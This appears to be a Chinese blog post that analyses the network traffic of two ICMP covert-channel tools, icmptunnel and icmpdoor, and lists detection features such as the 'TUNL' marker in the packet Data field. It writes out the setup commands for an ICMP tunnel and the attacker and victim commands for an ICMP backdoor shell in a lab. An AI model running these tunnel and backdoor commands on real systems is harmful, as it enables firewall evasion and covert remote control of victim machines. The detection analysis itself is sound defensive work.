原创 花十一一 2023-07-06 08:21 北京
ICMP( Internet Control Message Protocol)互联网控制消息协议
ICMP隧道(ICMP Tunneling)是一种网络隧道技术,它利用Internet控制消息协议(ICMP)来在网络上传输数据。ICMP隧道通常用于绕过防火墙或者其他网络限制,将数据封装在ICMP消息的Data字段中,可以将数据包看作是ICMP消息,因此可以在允许ICMP协议通信的网络中传输信息。下面介绍下icmptunnel工具生成的流量。icmptunnel的原理是将内容封装在ICMP echo数据包中,在ICMP数据包的 "data "字段中发送至代理服务器。代理服务器解压缩数据包并转发到目标服务器。
工具地址:https://github.com/jamesbarlow/icmptunnel
使用方法:
git clone https://github.com/jamesbarlow/icmptunnel
cd icmptunnel/
make
首先需要在两台机器上禁止ICMP响应。如下命令会阻止内核响应ping数据包:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
随后,在服务端(172.17.10.43)启动 icmptunnel,并给隧道接口分配一个 IP 地址。
./icmptunnel -s
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
在客户端(172.17.10.52),使用 icmptunnel 连接上服务器,并给隧道接口分配一个 IP 地址。
./icmptunnel 172.17.10.43
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
隧道建立完成后,可以看到主机间存在icmp通信流量。其中Type的值为8,说明该隧道工具用的是ICMP Echo Request消息。发送ICMP Echo Request消息的主机期望接收到一个相应的ICMP Echo Reply消息,以确认目标主机的存在和可达性。
每个数据包的Data字段都存在默认值"TUNL",十六进制为54554e4c04。
连接服务端的ssh服务
ssh kali@10.0.0.1
流量侧存在特征"TUNL" 和 "SSH-2.0-OpenSSH_7.6p1"
连接服务端的web服务
curl 10.0.0.1:5003
流量侧存在特征有"TUNL" 和完整的HTTP请求/响应内容。
另外发现流量中存在Echo Reply。这可能是由于网络中的问题导致Echo Reply在传输过程中重复发送或复制。这种情况可能是网络故障或异常的结果,应该被视为异常情况。
通过上述分析,icmptunnel的特征如下:
(1)Data字段包含字符"TUNL"
(2)Data字段长度非48和32的数据包需要注意
(3)传输字节比较大的数据,流量中会存在多个echo reply。
ICMP后门
ICMP后门通常是一种隐蔽的攻击技术,因为ICMP流量通常被认为是合法的网络流量,很少受到严格的防火墙或入侵检测系统的监视和过滤。攻击者可以利用ICMP协议的一些字段或选项来隐藏恶意代码或数据,然后在目标系统上的后门程序中解析这些隐藏的信息。
项目地址:https://github.com/krabelize/icmpdoor
使用方法:
attacker(172.17.10.43): python icmp-cnc.py -i eth0 -d 172.17.10.52
victim(172.17.19.52): python icmpdoor.py -i ens32 -d 172.17.10.43
建立shell连接后,可以看到Type的值为8,说明该工具也是通过Echo request消息传输payload。
如果受害端返回的消息体比较大,则会拆分多个Echo reply传输。
另外当在命令行执行curl命令的时候,受害机器可能会hang住。